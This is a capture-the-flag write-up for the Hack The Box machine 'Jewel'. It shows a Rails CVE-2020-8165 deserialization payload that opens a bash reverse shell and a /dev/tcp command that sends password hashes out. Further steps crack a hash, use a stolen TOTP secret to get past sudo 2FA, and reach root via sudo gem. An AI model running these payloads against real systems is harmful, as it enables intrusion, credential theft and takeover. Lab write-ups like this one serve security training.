Scanning
Nmap
ports=$(sudo nmap -p- --min-rate=1000 "$1" | grep open | awk -F / '{print $1}' ORS=',') && sudo nmap -p$ports -sV -sC -oN nmap.txt "$1"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
| 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open http Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
- Port 8080 is a BLOG! webapp and port 8000 containts the source code of the webapp.
- we can greb the git repo from
http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=5d6f436256c9575fbc7b1fb9621b18f0f8656741;sf=tgz
master commit snapshot. - get
git-5d6f436.tar.gz
archive file.
source code enumerating
extracting the archive
❯ tar -xvzf git-5d6f436.tar.gz
1 2 3 4 5 6 7 8 9 10
❯ tree .git-5d6f436 ├── app | ... [snip] ... | ├── bd.sql ... [snip] ... 47 directories, 116 files
Found 2 usernames and password hashes in
bd.sql
file1 2 3 4
❯ grep -E "bill"\|"jennifer" bd.sql 1 bill bill@mail.htb 2020-08-25 08:13:58.662464 2020-08-25 08:13:58.662464 $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW 2 jennifer jennifer@mail.htb 2020-08-25 08:54:42.8483 2020-08-25 08:54:42.8483 $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
- hashes are not crackable.
- this webapp written in ruby and there is a tool that can scan for potential vulnerabilities in ruby project - brakeman
- but the tool don’t find any useful vulnerabilities.
viewing the gemfile which contains all require dependencies for the project found the ruby rail version:
1 2
❯ grep -n rail Gemfile 7:gem 'rails', '= 5.2.2.1'
viewing the release notes this version is released on March 13, 2019 and there is a de-serialization vulnerability in the rails < 5.2.4.3, rails < 6.0.3.1
CVE-2020-8165: A de-serialization of untrusted data vulnerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to un-marshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.
Exploit PoC: masahiro331@github.com
rail May 18, 2020 release address this issue and from here found detailed document for this exploit
what this report says is that -
There is potentially unexpected behavior in the MemCacheStore and RedisCacheStore where, when untrusted user input is written to the cache store using the
raw: true
parameter, re-reading the result from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:1
data = cache.fetch("demo", raw: true) { untrusted_string }
verifying this in our code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
❯ grep -r 'raw: true' app/controllers/application_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do app/controllers/users_controller.rb: @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]} ❯ sed -n 32,49p app/controllers/users_controller.rb def update @user = User.find(params[:id]) if @user && @user == current_user cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0") cache.delete("username_#{session[:user_id]}") @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]} if @user.update(user_params) flash[:success] = "Your account was updated successfully" redirect_to articles_path else cache.delete("username_#{session[:user_id]}") render 'edit' end else flash[:danger] = "Not authorized" redirect_to articles_path end end ❯ sed -n 29,40p app/controllers/application_controller.rb def current_username if session[:user_id] cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0") @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do @current_user = current_user @current_username = @current_user.username end else @current_username = "guest" end return @current_username end
- viewing the code it is clear that somewhere in the username update field is vulnerable for this exploit.
User Exploiting
If we go to 10.10.10.211:8080 there is a signup option and create an account and go to profile there is a username update option
http://10.10.10.211:8080/users/19/edit
- Found the vulnerability and its location now time to exploit it.
- For exploiting it we need to install rail console to create payload that specified in the PoC:
- install the same Rail version that is vulnerable for this exploit.
starting console:
1 2
$ bundle exec rails console irb(main):>
- Creating Payload
1 2 3 4 5 6 7 8 9
code = '`/bin/bash -c "bash -i &>/dev/tcp/{IP}/4141 0>&1"`' erb = ERB.allocate erb.instance_variable_set :@src, code erb.instance_variable_set :@filename, "1" erb.instance_variable_set :@lineno, 1 payload Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result) puts "Payload" require 'uri' puts URI.encode_www_form(payload: payload)
this give us usr encoded payload.
start netcat, intercept the username update request in burp, past payload in username field and forward the request and then refresh the page and payload get execute and we get shell.
Privilege Escalation
Running linpeas with
-a
one funny thing happened i get sudo password of user bill:- but i don’t thing that this is the intentional way.
digging more i found a unusual file in
/var/backups/
dump_2020-08-27.sql.1 2 3
(remote) bill@jewel.htb:/var/backups$ grep -E "bill"\|"jennifer" dump_2020-08-27.sql 2 jennifer jennifer@mail.htb 2020-08-27 05:44:28.551735 2020-08-27 05:44:28.551735 $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO 1 bill bill@mail.htb 2020-08-26 10:24:03.878232 2020-08-27 09:18:11.636483 $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
these hashes are different form last time and when try to crack them i successfully crack bill hash and get the same password that linpeas cracked.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
(remote) bill@jewel.htb:/var/backups$ grep -E "bill"\|"jennifer" dump_2020-08-27.sql | awk '{print $2":"$8}' > /dev/tcp/10.10.15.71/4141 ❯ nc -nvlp 4141 > hashes listening on [any] 4141 ... connect to [10.10.15.71] from (UNKNOWN) [10.10.10.211] 41058 ❯ cat hashes jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW ❯ john hashes -w=/usr/share/wordlists/rockyou.txt <snip> ❯ john hashes --show bill:spongebob 1 password hash cracked, 1 left
Root
running
sudo -l
with user bill password asking forVerification code
.1 2 3 4 5 6 7 8 9 10
(remote) bill@jewel.htb:/home/bill$ sudo -l [sudo] password for bill: Verification code: You type like I drive. [sudo] password for bill: Verification code: Take a stress pill and think things over. [sudo] password for bill: Verification code: sudo: 3 incorrect password attempts
- google tells me that sudo also have 2FA and that is enable here. found on this article
- this article tells that sudo 2AF use
pam_google_authenticator.so
, and this module create a secret totp key file named.google_authenticator
that use to create OTP. - this file present in bill home folder.
from this module’s git repo that this file
.google_authenticator
created when configuring 2FA and use as a secret for generating OTP1
auth required pam_google_authenticator.so secret=${USER}/.google_authenticator
- this article tells that sudo 2AF use
And bill home folder
.google_authenticator
file contains the totp code that use to create OTP:1 2 3 4
(remote) bill@jewel.htb:/home/bill$ cat .google_authenticator 2UQI3R52WFCLE6JTLDCSJYMJH4 " WINDOW_SIZE 17 " TOTP_AUTH
- we can use that same code in any Oauth app to create that Verification code for sudo. i use this chrome authenticator addon
- but success is not that easy, because in 2FA depend on clock time and if both ends time is diffrent while generating code it never works.
spend so much time try to sync with the box time and then found oathtool that run from terminal and create OTP using totp code.
- My technique is to upload the oathtool in the box and run form the box so that i don’t need to sync box time and my machine time because i’m running on same box.
but this is not easy because oathtool is not a single executable binary file, it depends on some Shared libraries and while running the oathtool binary it give an error of missing library:
1 2
(remote) bill@jewel.htb:/home/bill$ ./oathtool ./oathtool: error while loading shared libraries: liboath.so.0: cannot open shared object file: No such file or directory
this binary expecting this:
1 2 3 4
❯ whereis liboath.so.0 liboath.so: /usr/lib/x86_64-linux-gnu/liboath.so.0 ❯ ls -la /usr/lib/x86_64-linux-gnu/liboath.so.0 lrwxrwxrwx 1 root root 16 Feb 4 13:37 /usr/lib/x86_64-linux-gnu/liboath.so.0 -> liboath.so.0.1.3
- But this is not available in the box.
So, to run oathtool successfully in the box we need to do some things before run it:
- upload
liboath.so.0.1.3
library in the box, found here - Create its symbolic link as liboath.so.0, learn about sym-links here
- set
LD_LIBRARY_PATH
toliboath.so.0.1.3
library location. - run it.
upload both files in the bill’s home folder:
1 2 3
(remote) bill@jewel.htb:/home/bill$ ls -l -rw-r--r-- 1 bill bill 83960 Feb 20 10:04 liboath.so.0.1.3 -rwxr-xr-x 1 bill bill 80512 Feb 20 09:53 oathtool
create symbolic link:
1 2 3
(remote) bill@jewel.htb:/home/bill$ ln -s liboath.so.0.1.3 liboath.so.0 (remote) bill@jewel.htb:/home/bill$ ls -l lrwxrwxrwx 1 bill bill 16 Feb 20 10:07 liboath.so.0 -> liboath.so.0.1.3
setting
LD_LIBRARY_PATH
path to current folder:1 2
(remote) bill@jewel.htb:/home/bill$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/bill (remote) bill@jewel.htb:/home/bill$ export LD_LIBRARY_PATH
running:
1 2 3 4 5 6 7 8
(remote) bill@jewel.htb:/home/bill$ ./oathtool -V oathtool (OATH Toolkit) 2.6.6 Copyright (C) 2009-2021 Simon Josefsson. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by Simon Josefsson.
- upload
- Now the last thing is to generate code and check if it works.
code generated successfully:
1 2
(remote) bill@jewel.htb:/home/bill$ ./oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4' 015396
now time to send this code to sudo:
1 2 3 4 5 6 7 8 9
(remote) bill@jewel.htb:/home/bill$ ./oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4' && sudo -l 627580 [sudo] password for bill: Verification code: Matching Defaults entries for bill on jewel: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults User bill may run the following commands on jewel: (ALL : ALL) /usr/bin/gem
- And successfully execute sudo command.
Root Exploting
User can run
/usr/bin/gem
as any user with sudo:exploit:
sudo /usr/bin/gem open -e "/bin/bash -c /bin/bash" rdoc
From gtfobins1 2 3
(remote) bill@jewel.htb:/home/bill$ sudo /usr/bin/gem open -e "/bin/bash -c /bin/bash" rdoc root@jewel:/usr/lib/ruby/gems/2.5.0/gems/rdoc-6.0.1# id uid=0(root) gid=0(root) groups=0(root)